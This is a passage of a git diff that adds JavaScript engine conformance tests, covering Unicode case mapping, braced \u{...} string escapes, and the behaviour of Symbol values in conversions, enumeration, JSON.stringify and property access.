+assertEq(String.fromCodePoint(0x118b4).toLowerCase().codePointAt(0), 0x118d4);
+assertEq(String.fromCodePoint(0x118b5).toLowerCase().codePointAt(0), 0x118d5);
+assertEq(String.fromCodePoint(0x118b6).toLowerCase().codePointAt(0), 0x118d6);
+assertEq(String.fromCodePoint(0x118b7).toLowerCase().codePointAt(0), 0x118d7);
+assertEq(String.fromCodePoint(0x118b8).toLowerCase().codePointAt(0), 0x118d8);
+assertEq(String.fromCodePoint(0x118b9).toLowerCase().codePointAt(0), 0x118d9);
+assertEq(String.fromCodePoint(0x118ba).toLowerCase().codePointAt(0), 0x118da);
+assertEq(String.fromCodePoint(0x118bb).toLowerCase().codePointAt(0), 0x118db);
+assertEq(String.fromCodePoint(0x118bc).toLowerCase().codePointAt(0), 0x118dc);
+assertEq(String.fromCodePoint(0x118bd).toLowerCase().codePointAt(0), 0x118dd);
+assertEq(String.fromCodePoint(0x118be).toLowerCase().codePointAt(0), 0x118de);
+assertEq(String.fromCodePoint(0x118bf).toLowerCase().codePointAt(0), 0x118df);
+assertEq(String.fromCodePoint(0x1e900).toLowerCase().codePointAt(0), 0x1e922);
+assertEq(String.fromCodePoint(0x1e901).toLowerCase().codePointAt(0), 0x1e923);
+assertEq(String.fromCodePoint(0x1e902).toLowerCase().codePointAt(0), 0x1e924);
+assertEq(String.fromCodePoint(0x1e903).toLowerCase().codePointAt(0), 0x1e925);
+assertEq(String.fromCodePoint(0x1e904).toLowerCase().codePointAt(0), 0x1e926);
+assertEq(String.fromCodePoint(0x1e905).toLowerCase().codePointAt(0), 0x1e927);
+assertEq(String.fromCodePoint(0x1e906).toLowerCase().codePointAt(0), 0x1e928);
+assertEq(String.fromCodePoint(0x1e907).toLowerCase().codePointAt(0), 0x1e929);
+assertEq(String.fromCodePoint(0x1e908).toLowerCase().codePointAt(0), 0x1e92a);
+assertEq(String.fromCodePoint(0x1e909).toLowerCase().codePointAt(0), 0x1e92b);
+assertEq(String.fromCodePoint(0x1e90a).toLowerCase().codePointAt(0), 0x1e92c);
+assertEq(String.fromCodePoint(0x1e90b).toLowerCase().codePointAt(0), 0x1e92d);
+assertEq(String.fromCodePoint(0x1e90c).toLowerCase().codePointAt(0), 0x1e92e);
+assertEq(String.fromCodePoint(0x1e90d).toLowerCase().codePointAt(0), 0x1e92f);
+assertEq(String.fromCodePoint(0x1e90e).toLowerCase().codePointAt(0), 0x1e930);
+assertEq(String.fromCodePoint(0x1e90f).toLowerCase().codePointAt(0), 0x1e931);
+assertEq(String.fromCodePoint(0x1e910).toLowerCase().codePointAt(0), 0x1e932);
+assertEq(String.fromCodePoint(0x1e911).toLowerCase().codePointAt(0), 0x1e933);
+assertEq(String.fromCodePoint(0x1e912).toLowerCase().codePointAt(0), 0x1e934);
+assertEq(String.fromCodePoint(0x1e913).toLowerCase().codePointAt(0), 0x1e935);
+assertEq(String.fromCodePoint(0x1e914).toLowerCase().codePointAt(0), 0x1e936);
+assertEq(String.fromCodePoint(0x1e915).toLowerCase().codePointAt(0), 0x1e937);
+assertEq(String.fromCodePoint(0x1e916).toLowerCase().codePointAt(0), 0x1e938);
+assertEq(String.fromCodePoint(0x1e917).toLowerCase().codePointAt(0), 0x1e939);
+assertEq(String.fromCodePoint(0x1e918).toLowerCase().codePointAt(0), 0x1e93a);
+assertEq(String.fromCodePoint(0x1e919).toLowerCase().codePointAt(0), 0x1e93b);
+assertEq(String.fromCodePoint(0x1e91a).toLowerCase().codePointAt(0), 0x1e93c);
+assertEq(String.fromCodePoint(0x1e91b).toLowerCase().codePointAt(0), 0x1e93d);
+assertEq(String.fromCodePoint(0x1e91c).toLowerCase().codePointAt(0), 0x1e93e);
+assertEq(String.fromCodePoint(0x1e91d).toLowerCase().codePointAt(0), 0x1e93f);
+assertEq(String.fromCodePoint(0x1e91e).toLowerCase().codePointAt(0), 0x1e940);
+assertEq(String.fromCodePoint(0x1e91f).toLowerCase().codePointAt(0), 0x1e941);
+assertEq(String.fromCodePoint(0x1e920).toLowerCase().codePointAt(0), 0x1e942);
+assertEq(String.fromCodePoint(0x1e921).toLowerCase().codePointAt(0), 0x1e943);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/String/unicode-braced.js b/js/src/tests/ecma_6/String/unicode-braced.js
new file mode 100644
index 000000000..62d96b844
--- /dev/null
+++ b/js/src/tests/ecma_6/String/unicode-braced.js
@@ -0,0 +1,64 @@
+var BUGNUMBER = 320500;
+var summary = 'Add \\u{xxxxxx} string literals';
+
+print(BUGNUMBER + ": " + summary);
+
+assertEq("\u{0}", String.fromCodePoint(0x0));
+assertEq("\u{1}", String.fromCodePoint(0x1));
+assertEq("\u{10}", String.fromCodePoint(0x10));
+assertEq("\u{100}", String.fromCodePoint(0x100));
+assertEq("\u{1000}", String.fromCodePoint(0x1000));
+assertEq("\u{D7FF}", String.fromCodePoint(0xD7FF));
+assertEq("\u{D800}", String.fromCodePoint(0xD800));
+assertEq("\u{DBFF}", String.fromCodePoint(0xDBFF));
+assertEq("\u{DC00}", String.fromCodePoint(0xDC00));
+assertEq("\u{DFFF}", String.fromCodePoint(0xDFFF));
+assertEq("\u{E000}", String.fromCodePoint(0xE000));
+assertEq("\u{10000}", String.fromCodePoint(0x10000));
+assertEq("\u{100000}", String.fromCodePoint(0x100000));
+assertEq("\u{10FFFF}", String.fromCodePoint(0x10FFFF));
+assertEq("\u{10ffff}", String.fromCodePoint(0x10FFFF));
+
+assertEq("A\u{1}\u{10}B\u{100}\u{1000}\u{10000}C\u{100000}",
+ "A" +
+ String.fromCodePoint(0x1) +
+ String.fromCodePoint(0x10) +
+ "B" +
+ String.fromCodePoint(0x100) +
+ String.fromCodePoint(0x1000) +
+ String.fromCodePoint(0x10000) +
+ "C" +
+ String.fromCodePoint(0x100000));
+
+assertEq('\u{10ffff}', String.fromCodePoint(0x10FFFF));
+assertEq(`\u{10ffff}`, String.fromCodePoint(0x10FFFF));
+assertEq(`\u{10ffff}${""}`, String.fromCodePoint(0x10FFFF));
+assertEq(`${""}\u{10ffff}`, String.fromCodePoint(0x10FFFF));
+assertEq(`${""}\u{10ffff}${""}`, String.fromCodePoint(0x10FFFF));
+
+assertEq("\u{00}", String.fromCodePoint(0x0));
+assertEq("\u{00000000000000000}", String.fromCodePoint(0x0));
+assertEq("\u{00000000000001000}", String.fromCodePoint(0x1000));
+
+assertEq(eval(`"\\u{${"0".repeat(Math.pow(2, 24)) + "1234"}}"`), String.fromCodePoint(0x1234));
+
+assertEq("\U{0}", "U{0}");
+
+assertThrowsInstanceOf(() => eval(`"\\u{-1}"`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`"\\u{0.0}"`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`"\\u{G}"`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`"\\u{}"`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`"\\u{{"`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`"\\u{"`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`"\\u{110000}"`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`"\\u{00110000}"`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`"\\u{100000000000000000000000000000}"`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`"\\u{FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF}"`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`"\\u{ FFFF}"`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`"\\u{FFFF }"`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`"\\u{FF FF}"`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`"\\u{F F F F}"`), SyntaxError);
+assertThrowsInstanceOf(() => eval(`"\\u{100000001}"`), SyntaxError);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/Symbol/as-base-value.js b/js/src/tests/ecma_6/Symbol/as-base-value.js
new file mode 100644
index 000000000..f0e8400a2
--- /dev/null
+++ b/js/src/tests/ecma_6/Symbol/as-base-value.js
@@ -0,0 +1,87 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// Like other primitives, symbols can be treated as objects, using object-like
+// syntax: `symbol.prop` or `symbol[key]`.
+//
+// In ECMAScript spec jargon, this creates a Reference whose base value is a
+// primitive Symbol value.
+
+var symbols = [
+ Symbol(),
+ Symbol("ponies"),
+ Symbol.for("sym"),
+ Symbol.iterator
+];
+
+// Test accessor property, used below.
+var gets, sets;
+Object.defineProperty(Symbol.prototype, "prop", {
+ get: function () {
+ "use strict";
+ gets++;
+ assertEq(typeof this, "symbol");
+ assertEq(this, sym);
+ return "got";
+ },
+ set: function (v) {
+ "use strict";
+ sets++;
+ assertEq(typeof this, "symbol");
+ assertEq(this, sym);
+ assertEq(v, "newvalue");
+ }
+});
+
+for (var sym of symbols) {
+ assertEq(sym.constructor, Symbol);
+
+ // method on Object.prototype
+ assertEq(sym.hasOwnProperty("constructor"), false);
+ assertEq(sym.toLocaleString(), sym.toString()); // once .toString() exists
+
+ // custom method monkeypatched onto Symbol.prototype
+ Symbol.prototype.nonStrictMethod = function (arg) {
+ assertEq(arg, "ok");
+ assertEq(this instanceof Symbol, true);
+ assertEq(this.valueOf(), sym);
+ return 13;
+ };
+ assertEq(sym.nonStrictMethod("ok"), 13);
+
+ // the same, but strict mode
+ Symbol.prototype.strictMethod = function (arg) {
+ "use strict";
+ assertEq(arg, "ok2");
+ assertEq(this, sym);
+ return 14;
+ };
+ assertEq(sym.strictMethod("ok2"), 14);
+
+ // getter/setter on Symbol.prototype
+ gets = 0;
+ sets = 0;
+ var propname = "prop";
+
+ assertEq(sym.prop, "got");
+ assertEq(gets, 1);
+ assertEq(sym[propname], "got");
+ assertEq(gets, 2);
+
+ assertEq(sym.prop = "newvalue", "newvalue");
+ assertEq(sets, 1);
+ assertEq(sym[propname] = "newvalue", "newvalue");
+ assertEq(sets, 2);
+
+ // non-existent property
+ assertEq(sym.noSuchProp, undefined);
+ var noSuchPropName = "nonesuch";
+ assertEq(sym[noSuchPropName], undefined);
+
+ // non-existent method
+ assertThrowsInstanceOf(() => sym.noSuchProp(), TypeError);
+ assertThrowsInstanceOf(() => sym[noSuchPropName](), TypeError);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/ecma_6/Symbol/browser.js b/js/src/tests/ecma_6/Symbol/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_6/Symbol/browser.js
diff --git a/js/src/tests/ecma_6/Symbol/comparisons.js b/js/src/tests/ecma_6/Symbol/comparisons.js
new file mode 100644
index 000000000..d2105c8a1
--- /dev/null
+++ b/js/src/tests/ecma_6/Symbol/comparisons.js
@@ -0,0 +1,34 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+var symbols = [
+ Symbol(),
+ Symbol("0"),
+ Symbol.for("snowman"),
+ Symbol.iterator
+];
+
+var values = [
+ undefined, null, 0, 3.14, -0, NaN, "", "alphabet", Symbol("0"),
+ {}, []
+];
+
+for (var comparator of ["==", "!=", "===", "!=="]) {
+ var f = Function("a, b", "return a " + comparator + " b;");
+ var expected = (comparator[0] == '!');
+ for (var a of symbols) {
+ for (var b of values)
+ assertEq(f(a, b), expected);
+ }
+}
+
+for (var comparator of ["<", "<=", ">", ">="]) {
+ var f = Function("a, b", "return a " + comparator + " b;");
+ for (var a of symbols) {
+ for (var b of values)
+ assertThrowsInstanceOf(() => f(a, b), TypeError);
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/ecma_6/Symbol/constructor.js b/js/src/tests/ecma_6/Symbol/constructor.js
new file mode 100644
index 000000000..5143b02a9
--- /dev/null
+++ b/js/src/tests/ecma_6/Symbol/constructor.js
@@ -0,0 +1,35 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// Symbol(symbol) throws a TypeError.
+var sym = Symbol();
+assertThrowsInstanceOf(() => Symbol(sym), TypeError);
+
+// Symbol(undefined) is equivalent to Symbol().
+assertEq(Symbol(undefined).toString(), "Symbol()");
+
+// Otherwise, Symbol(v) means Symbol(ToString(v)).
+assertEq(Symbol(7).toString(), "Symbol(7)");
+assertEq(Symbol(true).toString(), "Symbol(true)");
+assertEq(Symbol(null).toString(), "Symbol(null)");
+assertEq(Symbol([1, 2]).toString(), "Symbol(1,2)");
+var symobj = Object(sym);
+assertThrowsInstanceOf(() => Symbol(symobj), TypeError);
+
+var hits = 0;
+var obj = {
+ toString: function () {
+ hits++;
+ return "ponies";
+ }
+};
+assertEq(Symbol(obj).toString(), "Symbol(ponies)");
+assertEq(hits, 1);
+
+assertEq(Object.getPrototypeOf(Symbol.prototype), Object.prototype);
+
+// Symbol.prototype is not itself a Symbol object.
+assertThrowsInstanceOf(() => Symbol.prototype.valueOf(), TypeError);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/ecma_6/Symbol/conversions.js b/js/src/tests/ecma_6/Symbol/conversions.js
new file mode 100644
index 000000000..e6265f09c
--- /dev/null
+++ b/js/src/tests/ecma_6/Symbol/conversions.js
@@ -0,0 +1,89 @@
+// Section numbers cite ES6 rev 24 (2014 April 27).
+
+var symbols = [
+ Symbol(),
+ Symbol("one"),
+ Symbol.for("two"),
+ Symbol.iterator
+];
+
+function testSymbolConversions(sym) {
+ // 7.1.2 ToBoolean
+ assertEq(Boolean(sym), true);
+ assertEq(!sym, false);
+ assertEq(sym || 13, sym);
+ assertEq(sym && 13, 13);
+
+ // 7.1.3 ToNumber
+ assertThrowsInstanceOf(() => +sym, TypeError);
+ assertThrowsInstanceOf(() => sym | 0, TypeError);
+
+ // 7.1.12 ToString
+ assertThrowsInstanceOf(() => "" + sym, TypeError);
+ assertThrowsInstanceOf(() => sym + "", TypeError);
+ assertThrowsInstanceOf(() => "" + [1, 2, sym], TypeError);
+ assertThrowsInstanceOf(() => ["simple", "thimble", sym].join(), TypeError);
+
+ // 21.1.1.1 String()
+ assertEq(String(sym), sym.toString());
+
+ // 21.1.1.2 new String()
+ assertThrowsInstanceOf(() => new String(sym), TypeError);
+
+ // 7.1.13 ToObject
+ var obj = Object(sym);
+ assertEq(typeof obj, "object");
+ assertEq(Object.prototype.toString.call(obj), "[object Symbol]");
+ assertEq(Object.getPrototypeOf(obj), Symbol.prototype);
+ assertEq(Object.getOwnPropertyNames(obj).length, 0);
+ assertEq(Object(sym) === Object(sym), false); // new object each time
+ var f = function () { return this; };
+ assertEq(f.call(sym) === f.call(sym), false); // new object each time
+}
+
+
+for (var sym of symbols) {
+ testSymbolConversions(sym);
+
+ // 7.1.1 ToPrimitive
+ var symobj = Object(sym);
+ assertThrowsInstanceOf(() => Number(symobj), TypeError);
+ assertThrowsInstanceOf(() => String(symobj), TypeError);
+ assertThrowsInstanceOf(() => symobj < 0, TypeError);
+ assertThrowsInstanceOf(() => 0 < symobj, TypeError);
+ assertThrowsInstanceOf(() => symobj + 1, TypeError);
+ assertThrowsInstanceOf(() => "" + symobj, TypeError);
+ assertEq(sym == symobj, true);
+ assertEq(sym === symobj, false);
+ assertEq(symobj == 0, false);
+ assertEq(0 != symobj, true);
+
+ // 7.1.12 ToString
+ assertThrowsInstanceOf(() => String(Object(sym)), TypeError);
+}
+
+// Deleting Symbol.prototype[@@toPrimitive] does not change the behavior of
+// conversions from a symbol to other types.
+delete Symbol.prototype[Symbol.toPrimitive];
+assertEq(Symbol.toPrimitive in Symbol.prototype, false);
+testSymbolConversions(symbols[0]);
+
+// It does change the behavior of ToPrimitive on Symbol objects, though.
+// It causes the default algorithm (OrdinaryToPrimitive) to be used.
+var VALUEOF_CALLED = 117.25;
+Symbol.prototype.valueOf = function () { return VALUEOF_CALLED; };
+Symbol.prototype.toString = function () { return "toString called"; };
+for (var sym of symbols) {
+ var symobj = Object(sym);
+ assertEq(Number(symobj), VALUEOF_CALLED);
+ assertEq(String(symobj), "toString called");
+ assertEq(symobj < 0, VALUEOF_CALLED < 0);
+ assertEq(0 < symobj, 0 < VALUEOF_CALLED);
+ assertEq(symobj + 1, VALUEOF_CALLED + 1);
+ assertEq("" + symobj, "" + VALUEOF_CALLED);
+ assertEq(symobj == 0, false);
+ assertEq(0 != symobj, true);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/ecma_6/Symbol/enumeration-order.js b/js/src/tests/ecma_6/Symbol/enumeration-order.js
new file mode 100644
index 000000000..8bcd1f02f
--- /dev/null
+++ b/js/src/tests/ecma_6/Symbol/enumeration-order.js
@@ -0,0 +1,40 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// Symbols follow all other property keys in the result list.
+var log;
+function LoggingProxy() {
+ return new Proxy({}, {
+ defineProperty: (t, key, desc) => {
+ log.push(key);
+ return true;
+ }
+ });
+}
+
+var keys = [
+ "before",
+ Symbol(),
+ "during",
+ Symbol.for("during"),
+ Symbol.iterator,
+ "after"
+];
+var descs = {};
+for (var k of keys)
+ descs[k] = {configurable: true, value: 0};
+
+function test(descsObj) {
+ log = [];
+ Object.defineProperties(LoggingProxy(), descs);
+ assertEq(log.length, keys.length);
+ assertDeepEq(log.map(k => typeof k), ["string", "string", "string", "symbol", "symbol", "symbol"]);
+ for (var key of keys)
+ assertEq(log.indexOf(key) !== -1, true);
+}
+
+test(descs);
+test(new Proxy(descs, {}));
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/ecma_6/Symbol/enumeration.js b/js/src/tests/ecma_6/Symbol/enumeration.js
new file mode 100644
index 000000000..e7ca426e6
--- /dev/null
+++ b/js/src/tests/ecma_6/Symbol/enumeration.js
@@ -0,0 +1,52 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// for-in loops skip properties with symbol keys, even enumerable properties.
+var obj = {};
+obj[Symbol.for("moon")] = "sun";
+obj[Symbol("asleep")] = "awake";
+obj[Symbol.iterator] = "List";
+for (var x in obj)
+ throw "FAIL: " + uneval(x);
+
+// This includes inherited properties.
+var obj2 = Object.create(obj);
+for (var x in obj2)
+ throw "FAIL: " + uneval(x);
+
+// The same goes for proxies.
+var p = new Proxy(obj, {});
+for (var x in p)
+ throw "FAIL: " + uneval(x);
+var p2 = new Proxy(obj2, {});
+for (var x in p2)
+ throw "FAIL: " + uneval(x);
+
+// Object.keys() and .getOwnPropertyNames() also skip symbols.
+assertEq(Object.keys(obj).length, 0);
+assertEq(Object.keys(p).length, 0);
+assertEq(Object.keys(obj2).length, 0);
+assertEq(Object.keys(p2).length, 0);
+assertEq(Object.getOwnPropertyNames(obj).length, 0);
+assertEq(Object.getOwnPropertyNames(p).length, 0);
+assertEq(Object.getOwnPropertyNames(obj2).length, 0);
+assertEq(Object.getOwnPropertyNames(p2).length, 0);
+
+// Test interaction of Object.keys(), proxies, and symbol property keys.
+var log = [];
+var h = {
+ ownKeys: (t) => {
+ log.push("ownKeys");
+ return ["a", "0", Symbol.for("moon"), Symbol("asleep"), Symbol.iterator];
+ },
+ getOwnPropertyDescriptor: (t, key) => {
+ log.push("gopd", key);
+ return {configurable: true, enumerable: true, value: 0, writable: true};
+ }
+};
+p = new Proxy({}, h);
+assertDeepEq(Object.keys(p), ["a", "0"]);
+assertDeepEq(log, ["ownKeys", "gopd", "a", "gopd", "0"]);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/ecma_6/Symbol/equality.js b/js/src/tests/ecma_6/Symbol/equality.js
new file mode 100644
index 000000000..eaa091ba4
--- /dev/null
+++ b/js/src/tests/ecma_6/Symbol/equality.js
@@ -0,0 +1,30 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// Symbol.for returns the same symbol whenever the same argument is passed.
+assertEq(Symbol.for("q") === Symbol.for("q"), true);
+
+// Several distinct Symbol values.
+var symbols = [
+ Symbol(),
+ Symbol("Symbol.iterator"),
+ Symbol("Symbol.iterator"), // distinct new symbol with the same description
+ Symbol.for("Symbol.iterator"),
+ Symbol.iterator
+];
+
+// Distinct symbols are never equal to each other, even if they have the same
+// description.
+for (var i = 0; i < symbols.length; i++) {
+ for (var j = i; j < symbols.length; j++) {
+ var expected = (i === j);
+ assertEq(symbols[i] == symbols[j], expected);
+ assertEq(symbols[i] != symbols[j], !expected);
+ assertEq(symbols[i] === symbols[j], expected);
+ assertEq(symbols[i] !== symbols[j], !expected);
+ assertEq(Object.is(symbols[i], symbols[j]), expected);
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/ecma_6/Symbol/errors.js b/js/src/tests/ecma_6/Symbol/errors.js
new file mode 100644
index 000000000..d6eb37abc
--- /dev/null
+++ b/js/src/tests/ecma_6/Symbol/errors.js
@@ -0,0 +1,17 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// Section numbers cite ES6 rev 24 (2014 April 27).
+
+var sym = Symbol();
+
+// 7.2.2 IsCallable
+assertThrowsInstanceOf(() => sym(), TypeError);
+assertThrowsInstanceOf(() => Function.prototype.call.call(sym), TypeError);
+
+// 7.2.5 IsConstructor
+assertThrowsInstanceOf(() => new sym(), TypeError);
+assertThrowsInstanceOf(() => new Symbol(), TypeError);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/ecma_6/Symbol/for-in-order.js b/js/src/tests/ecma_6/Symbol/for-in-order.js
new file mode 100644
index 000000000..7d1f23430
--- /dev/null
+++ b/js/src/tests/ecma_6/Symbol/for-in-order.js
@@ -0,0 +1,33 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// ES6 does not specify enumeration order, but implementations mostly retain
+// property insertion order -- and must, for web compatibility. This test checks
+// that symbol-keyed properties do not interfere with that order.
+
+var obj = {};
+obj[Symbol("moon")] = 0;
+obj.x = 1;
+obj[Symbol.for("y")] = 2
+obj.y = 3;
+obj[Symbol.iterator] = function* () { yield 4; };
+obj.z = 5;
+Object.prototype[Symbol.for("comet")] = 6;
+
+var keys = [];
+for (var k in obj)
+ keys.push(k);
+assertDeepEq(keys, ["x", "y", "z"]);
+assertDeepEq(Object.keys(obj), ["x", "y", "z"]);
+
+// Test with more properties.
+for (var i = 0; i < 1000; i++)
+ obj[Symbol(i)] = i;
+obj.w = 1000;
+keys = []
+for (var k in obj)
+ keys.push(k);
+assertDeepEq(keys, ["x", "y", "z", "w"]);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/ecma_6/Symbol/for.js b/js/src/tests/ecma_6/Symbol/for.js
new file mode 100644
index 000000000..43e285511
--- /dev/null
+++ b/js/src/tests/ecma_6/Symbol/for.js
@@ -0,0 +1,31 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// Symbol.for called twice with the same argument returns the same symbol.
+assertEq(Symbol.for("ponies"), Symbol.for("ponies"));
+
+// Called twice with equal strings: still the same result.
+var one = Array(64+1).join("x");
+var two = Array(8+1).join(Array(8+1).join("x"));
+assertEq(Symbol.for(one), Symbol.for(two));
+
+// Symbols created by calling Symbol() are not in the symbol registry.
+var sym = Symbol("123");
+assertEq(Symbol.for("123") !== sym, true);
+
+// Empty string is fine.
+assertEq(typeof Symbol.for(""), "symbol");
+
+// Primitive arguments.
+assertEq(Symbol.for(3), Symbol.for("3"));
+assertEq(Symbol.for(null), Symbol.for("null"));
+assertEq(Symbol.for(undefined), Symbol.for("undefined"));
+assertEq(Symbol.for(), Symbol.for("undefined"));
+
+// Symbol.for ignores the 'this' value.
+var foo = Symbol.for("foo")
+assertEq(Symbol.for.call(String, "foo"), foo);
+assertEq(Symbol.for.call(3.14, "foo"), foo);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/ecma_6/Symbol/json-stringify-keys.js b/js/src/tests/ecma_6/Symbol/json-stringify-keys.js
new file mode 100644
index 000000000..3818cbb33
--- /dev/null
+++ b/js/src/tests/ecma_6/Symbol/json-stringify-keys.js
@@ -0,0 +1,19 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// JSON.stringify ignores symbol-keyed properties, even enumerable ones.
+
+var obj = {a: 1};
+obj[Symbol.for("ponies")] = {toJSON: function () { throw "fit"; }};
+obj[Symbol.iterator] = {toJSON: function () { throw "fit"; }};
+assertEq(JSON.stringify(obj), '{"a":1}');
+
+var replacer = function (k, v) {
+ if (typeof k === "symbol")
+ throw "fit";
+ return v;
+};
+assertEq(JSON.stringify(obj, replacer), '{"a":1}');
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/ecma_6/Symbol/json-stringify-values.js b/js/src/tests/ecma_6/Symbol/json-stringify-values.js
new file mode 100644
index 000000000..0fe32eee5
--- /dev/null
+++ b/js/src/tests/ecma_6/Symbol/json-stringify-values.js
@@ -0,0 +1,33 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// To JSON.stringify, symbols are the same as undefined.
+
+var symbols = [
+ Symbol(),
+ Symbol.for("ponies"),
+ Symbol.iterator
+];
+
+for (var sym of symbols) {
+ assertEq(JSON.stringify(sym), undefined);
+ assertEq(JSON.stringify([sym]), "[null]");
+
+ // JSON.stringify skips symbol-valued properties!
+ assertEq(JSON.stringify({x: sym}), '{}');
+
+ // However such properties are passed to the replacerFunction if any.
+ var replacer = function (key, val) {
+ assertEq(typeof this, "object");
+ if (typeof val === "symbol") {
+ assertEq(val, sym);
+ return "ding";
+ }
+ return val;
+ };
+ assertEq(JSON.stringify(sym, replacer), '"ding"');
+ assertEq(JSON.stringify({x: sym}, replacer), '{"x":"ding"}');
+}
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0, 'ok');
diff --git a/js/src/tests/ecma_6/Symbol/keyFor.js b/js/src/tests/ecma_6/Symbol/keyFor.js
new file mode 100644
index 000000000..868c3bda7
--- /dev/null
+++ b/js/src/tests/ecma_6/Symbol/keyFor.js
@@ -0,0 +1,15 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+assertEq(Symbol.keyFor(Symbol.for("moon")), "moon");
+assertEq(Symbol.keyFor(Symbol.for("")), "");
+assertEq(Symbol.keyFor(Symbol("moon")), undefined);
+assertEq(Symbol.keyFor(Symbol.iterator), undefined);
+
+assertThrowsInstanceOf(() => Symbol.keyFor(), TypeError);
+assertThrowsInstanceOf(() => Symbol.keyFor(Object(Symbol("moon"))), TypeError);
+
+assertEq(Symbol.keyFor.length, 1);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/ecma_6/Symbol/property-accessor.js b/js/src/tests/ecma_6/Symbol/property-accessor.js
new file mode 100644
index 000000000..7a2c149a1
--- /dev/null
+++ b/js/src/tests/ecma_6/Symbol/property-accessor.js
@@ -0,0 +1,39 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+var obj = {};
+var sym = Symbol();
+
+var gets = 0;
+var sets = [];
+Object.defineProperty(obj, sym, {
+ get: function () { return ++gets; },
+ set: function (v) { sets.push(v); }
+});
+
+// getter
+for (var i = 1; i < 9; i++)
+ assertEq(obj[sym], i);
+
+// setter
+var expected = [];
+for (var i = 0; i < 9; i++) {
+ assertEq(obj[sym] = i, i);
+ expected.push(i);
+}
+assertDeepEq(sets, expected);
+
+// increment operator
+gets = 0;
+sets = [];
+assertEq(obj[sym]++, 1);
+assertDeepEq(sets, [2]);
+
+// assignment
+gets = 0;
+sets = [];
+assertEq(obj[sym] *= 12, 12);
+assertDeepEq(sets, [12]);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/ecma_6/Symbol/property-basics.js b/js/src/tests/ecma_6/Symbol/property-basics.js
new file mode 100644
index 000000000..63bcb3867
--- /dev/null
+++ b/js/src/tests/ecma_6/Symbol/property-basics.js
@@ -0,0 +1,44 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+var symbols = [
+ Symbol(),
+ Symbol("one"),
+ Symbol.for("two"),
+ Symbol.iterator,
+ Object(Symbol())
+];
+
+for (var sym of symbols) {
+ var obj = {};
+
+ // access a nonexistent property
+ assertEq(sym in obj, false);
+ assertEq(obj.hasOwnProperty(sym), false);
+ assertEq(obj[sym], undefined);
+ assertEq(typeof obj[sym], "undefined");
+ assertEq(Object.getOwnPropertyDescriptor(obj, sym), undefined);
+
+ // assign, then try accessing again
+ obj[sym] = "ok";
+ assertEq(sym in obj, true);
+ assertEq(obj.hasOwnProperty(sym), true);
+ assertEq(obj[sym], "ok");
+ assertDeepEq(Object.getOwnPropertyDescriptor(obj, sym), {
+ value: "ok",
+ writable: true,
+ enumerable: true,
+ configurable: true
+ });
+
+ // assign again, observe value is overwritten
+ obj[sym] = 12;
+ assertEq(obj[sym], 12);
+
+ // increment
+ assertEq(obj[sym]++, 12);
+ assertEq(obj[sym], 13);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
